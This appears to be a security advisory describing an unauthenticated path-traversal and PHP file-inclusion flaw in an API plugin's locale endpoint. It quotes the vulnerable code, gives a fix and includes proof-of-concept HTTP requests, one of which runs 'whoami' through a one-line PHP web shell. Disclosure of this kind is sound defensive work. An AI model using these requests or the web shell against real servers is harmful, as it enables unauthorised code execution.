An unauthenticated API endpoint (APIName=locale) concatenates user input into an include path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., view/about.php), and it can escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree.
plugin/API/get.json.php sets $global['bypassSameDomainCheck']=1 and merges GET/POST/JSON into $parameters without authentication or API secret.plugin/API/API.php, method get_api_locale() (lines ~5009–5023):
$parameters['language'] = strtolower($parameters['language']);
$file = "{$global['systemRootPath']}locale/{$parameters['language']}.php";
if (!file_exists($file)) { return new ApiObject("This language does not exists"); }
include $file;
No validation is performed; ../ traversal is accepted.include executes PHP, any reachable PHP file is executed in the web server context.GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1
Host: <target>
Response returns the rendered About page HTML, proving traversal outside locale/.GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami
If shell.php contains <?php system($_GET['x']); ?>, the response includes command output.realpath the target and ensure it stays within $systemRootPath/locale.include for translations; load data from vetted formats (JSON/array).{
"severity": "HIGH",
"nvd_published_at": null,
"github_reviewed_at": "2026-03-20T21:55:31Z",
"cwe_ids": [
"CWE-22",
"CWE-98"
],
"github_reviewed": true
}